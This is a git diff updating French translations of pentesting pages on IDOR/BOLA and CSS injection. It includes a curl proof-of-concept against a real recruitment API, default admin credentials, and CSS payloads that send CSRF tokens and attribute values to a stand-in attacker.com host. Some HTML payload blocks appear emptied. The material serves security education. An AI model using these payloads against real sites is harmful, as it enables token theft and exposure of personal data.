non autorisée des documents d'autres utilisateurs et credential leakage. +Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., `/view.php?username=amanda&file=privacy.odt`). Ce schéma conduit fréquemment à la divulgation non autorisée des documents d'autres utilisateurs et à credential leakage. --- -## 2. Étude de cas réelle – McHire Chatbot Platform (2025) +## 2. Real-World Case Study – McHire Chatbot Platform (2025) -Lors d'une évaluation du portail de recrutement **McHire** propulsé par Paradox.ai, l'IDOR suivant a été découvert : +Lors d'une évaluation du portail de recrutement **McHire** propulsé par Paradox.ai, l'IDOR suivant a été découvert : * Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: cookie de session utilisateur pour **n'importe quel** compte test restaurant -* Body parameter: `{"lead_id": N}` – identifiant numérique de 8 chiffres, **séquentiel** +* Authorization: user session cookie for **any** restaurant test account +* Body parameter: `{"lead_id": N}` – identifiant numérique **séquentiel** de 8 chiffres -En décrémentant `lead_id`, le testeur a récupéré la **full PII** d'autres candidats arbitraires (nom, e-mail, téléphone, adresse, préférences de poste) ainsi qu'un **JWT** utilisateur qui a permis le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements. +En diminuant `lead_id`, le testeur a récupéré la **full PII** de candidats arbitraires (nom, e-mail, téléphone, adresse, préférences d'horaires) ainsi qu'un consumer **JWT** qui a permis le session hijacking. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements. Proof-of-Concept request: ```bash @@ -72,33 +72,33 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combinée avec les **identifiants admin par défaut** (`123456:123456`) qui donnaient accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise. +Combinée avec les **identifiants admin par défaut** (`123456:123456`) qui donnaient accès au compte de test, la vulnérabilité a entraîné une fuite de données critique à l'échelle de l'entreprise. --- -## 3. Impact de IDOR / BOLA -* Escalade horizontale – lecture/mise à jour/suppression des données **d'autres utilisateurs**. -* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux admins. -* Violation massive de données si les identifiants sont séquentiels (ex., IDs de candidats, factures). -* Prise de contrôle de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs. +## 3. Impact d'IDOR / BOLA +* Escalade horizontale – lire/mettre à jour/supprimer les données **d'autres utilisateurs**. +* Escalade verticale – un utilisateur peu privilégié obtient des fonctionnalités réservées aux administrateurs. +* Fuite massive de données si les identifiants sont séquentiels (p. ex., IDs de candidats, factures). +* Prise de compte en volant des tokens ou en réinitialisant les mots de passe d'autres utilisateurs. --- -## 4. Atténuations & Bonnes pratiques -1. **Appliquer l'autorisation au niveau objet** sur chaque requête (`user_id == session.user`). -2. Préférer des **identifiants indirects et non devinables** (UUIDv4, ULID) plutôt que des IDs auto-incrémentés. -3. Effectuer l'autorisation **côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI. -4. Implémenter des vérifications **RBAC / ABAC** dans un middleware central. -5. Ajouter **rate-limiting & logging** pour détecter l'énumération d'IDs. -6. Tester la sécurité de chaque nouvel endpoint (tests unitaires, d'intégration et DAST). +## 4. Atténuations & bonnes pratiques +1. **Appliquer une autorisation au niveau des objets** sur chaque requête (`user_id == session.user`). +2. Privilégier des **identifiants indirects et non devinables** (UUIDv4, ULID) au lieu des IDs auto-incrémentés. +3. Effectuer l'**autorisation côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI. +4. Implémenter les vérifications **RBAC / ABAC** dans un middleware central. +5. Ajouter du **rate-limiting & logging** pour détecter l'énumération d'IDs. +6. Tester la sécurité de chaque nouvel endpoint (unit, integration, et DAST). --- -## 5. Outils -* **Extensions BurpSuite**: Authorize, Auto Repeater, Turbo Intruder. +## 5. Tooling +* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. -* **Projets Github**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). +* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting). -## References +## Références * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds) * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index c0be7f744..5cc48f7b3 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,7 +4,7 @@ ## CSS Injection -### Sélecteur d'attribut +### Attribute Selector Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut `value` de l'élément `input` commence par un caractère spécifique, une ressource externe prédéfinie est chargée : ```css @@ -19,25 +19,25 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments input cachés (`type="hidden"`) car les éléments cachés ne chargent pas d'arrière-plans. +However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds. #### Contournement pour les éléments cachés -Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le `~` general sibling combinator. La règle CSS s'applique alors à tous les siblings suivant l'élément input caché, provoquant le chargement de l'image d'arrière-plan : +Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le combinator général de sibling `~`. La règle CSS s'applique alors à tous les frères suivant l'input caché, provoquant le chargement de l'image de fond : ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -Un exemple concret d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le consulter [ici](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). #### Prérequis pour CSS Injection Pour que la technique CSS Injection soit efficace, certaines conditions doivent être remplies : -1. **Payload Length** : Le vecteur d'injection CSS doit accepter des payloads suffisamment longs pour contenir les sélecteurs conçus. -2. **CSS Re-evaluation** : Vous devez pouvoir mettre la page en iframe, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés. -3. **External Resources** : La technique suppose la possibilité d'utiliser des images hébergées externement. Cela peut être restreint par la Content Security Policy (CSP) du site. +1. **Payload Length**: Le vecteur de CSS injection doit supporter des payloads suffisamment longs pour accueillir les selectors conçus. +2. **CSS Re-evaluation**: Vous devez être capable d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés. +3. **External Resources**: La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être restreint par la Content Security Policy (CSP) du site. ### Blind Attribute Selector @@ -52,34 +52,34 @@ background: url(/m); ``` -Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** +En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS depuis des blind pages avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.** ### @import -La technique précédente présente quelques inconvénients, consultez les prérequis. Vous devez soit être capable de **send multiple links to the victim**, soit être capable d'**iframe the CSS injection vulnerable page**. +La technique précédente présente quelques inconvénients, regardez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**iframe la page vulnérable à l'injection CSS**. -Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer l'efficacité de la méthode. +Cependant, il existe une autre technique ingénieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique. -Ceci a été présenté pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et fonctionne ainsi : +Cela a été montré pour la première fois par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne ainsi : -Au lieu de charger la même page plusieurs fois avec des dizaines de payloads différents à chaque fois (comme dans la méthode précédente), nous allons **charger la page une seule fois et uniquement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) : +Au lieu de charger la même page encore et encore avec des dizaines de payloads différents à chaque fois (comme dans la précédente), nous allons **charger la page une seule fois et seulement avec un import vers le serveur de l'attaquant** (c'est le payload à envoyer à la victime) : ```css @import url("//attacker.com:5001/start?"); ``` -1. L'import va **receive some CSS script** des attaquants et le **browser will load it**. -2. La première partie du script CSS que l'attaquant enverra est **another `@import` to the attackers server again.** -1. Le serveur de l'attaquant ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec le payload pour leak les suivants. -3. La deuxième et plus importante partie du payload sera un **attribute selector leakage payload** -1. Cela enverra au serveur de l'attaquant le **premier caractère du secret et le dernier** -4. Une fois que le serveur de l'attaquant a reçu le **premier et le dernier caractère du secret**, il **respond the import requested in the step 2**. -1. La réponse sera exactement la même que **les étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**. +1. L'import va **recevoir un script CSS** des attaquants et le **navigateur le chargera**. +2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.** +1. Le serveur des attaquants ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec la payload pour leak les suivants. +3. La seconde et plus grosse partie de la payload sera un **payload d'exfiltration par sélecteur d'attribut** +1. Ceci enverra au serveur des attaquants le **premier caractère du secret et le dernier** +4. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il **répondra à l'import demandé à l'étape 2**. +1. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois elle tentera de **trouver le deuxième caractère du secret puis l'avant-dernier**. -L'attaquant suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret. +L'attaquant va **suivre cette boucle jusqu'à ce qu'il réussisse à leak complètement le secret.** -You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection) +Vous pouvez trouver le code original de [**Pepe Vila pour exploiter ceci ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](#css-injection) > [!TIP] -> Le script essaiera de découvrir 2 chars à chaque fois (depuis le début et depuis la fin) parce que l'attribute selector permet de faire des choses comme : +> Le script va essayer de découvrir 2 caractères à la fois (depuis le début et depuis la fin) parce que le sélecteur d'attribut permet de faire des choses comme : > > ```css > /* value^= to match the beggining of the value*/ @@ -96,51 +96,51 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi > Cela permet au script de leak le secret plus rapidement. > [!WARNING] -> Parfois le script **n'indique pas correctement que le préfixe + suffix découvert est déjà le flag complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffix) et à un moment donné il se bloquera.\ -> Pas de soucis, vérifiez simplement la **output** parce que **vous pouvez voir le flag là**. +> Parfois le script **ne détecte pas correctement que le préfixe + le suffixe découverts correspondent déjà au flag complet** et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un moment donné il se bloquera.\ +> Aucun souci, vérifiez simplement la **sortie** car **vous pouvez voir le flag là**. -### Inline-Style CSS Exfiltration (attr() + if() + image-set()) +### Exfiltration CSS en style inline (attr() + if() + image-set()) -This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value. +Cette primitive permet l'exfiltration en n'utilisant que l'attribut style inline d'un élément, sans sélecteurs ni feuilles de style externes. Elle s'appuie sur les propriétés personnalisées CSS, la fonction attr() pour lire les attributs du même élément, les nouveaux conditionnels if() de CSS pour le branching, et image-set() pour déclencher une requête réseau qui encode la valeur correspondante. > [!WARNING] -> Equality comparisons in if() require double quotes for string literals. Single quotes will not match. +> Les comparaisons d'égalité dans if() exigent des guillemets doubles pour les littéraux de chaîne. Les guillemets simples ne correspondent pas. -- Sink : contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit uniquement les attributs du même élément). -- Read : copier l'attribut dans une variable CSS : `--val: attr(title)`. -- Decide : sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable avec des candidatures string : `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. -- Exfiltrate : appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant un fetch) pour forcer une requête vers l'endpoint choisi. +- Sink: contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit seulement les attributs du même élément). +- Read: copier l'attribut dans une variable CSS: `--val: attr(title)`. +- Decide: sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable à des chaînes candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`. +- Exfiltrate: appliquer `background: image-set(var(--steal))` (ou toute propriété provoquant une requête) pour forcer une requête vers l'endpoint choisi. Attempt (does not work; single quotes in comparison): ```html
test
``` -Payload fonctionnel (les guillemets doubles sont requis dans la comparaison): +Payload fonctionnel (guillemets doubles requis dans la comparaison) : ```html
test
``` -Énumération des valeurs d'attribut avec des conditions imbriquées: +Énumération des valeurs d'attribut via des conditions imbriquées: ```html
``` -Démo réaliste (sondage des noms d'utilisateur) : +Démonstration réaliste (sondage des noms d'utilisateur) : ```html
``` -Remarques et limitations : +Notes et limitations : - Fonctionne sur les navigateurs basés sur Chromium au moment de la recherche ; le comportement peut différer sur d'autres moteurs. -- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, petits noms d'utilisateur). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile. -- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex. background/image-set, border-image, list-style, cursor, content). +- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, short usernames). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile. +- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex., background/image-set, border-image, list-style, cursor, content). Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda ### Autres sélecteurs -Autres façons d'accéder à des parties du DOM avec **CSS selectors** : +Autres manières d'accéder à des parties du DOM avec **CSS selectors** : -- **`.class-to-search:nth-child(2)`** : Ceci cherchera le deuxième élément avec la classe "class-to-search" dans le DOM. -- **`:empty`** sélecteur : Utilisé par exemple dans [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :** +- **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM. +- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { @@ -148,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1"); } ``` -### XS-Search basé sur les erreurs +### Error based XS-Search -**Référence :** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) +**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) -L'intention générale est d'**utiliser une police personnalisée depuis un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**. +L'intention générale est d'**utiliser une police personnalisée provenant d'un endpoint contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**. ```html @@ -176,47 +176,47 @@ font-family: "poc"; ``` 1. **Utilisation de police personnalisée**: -- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `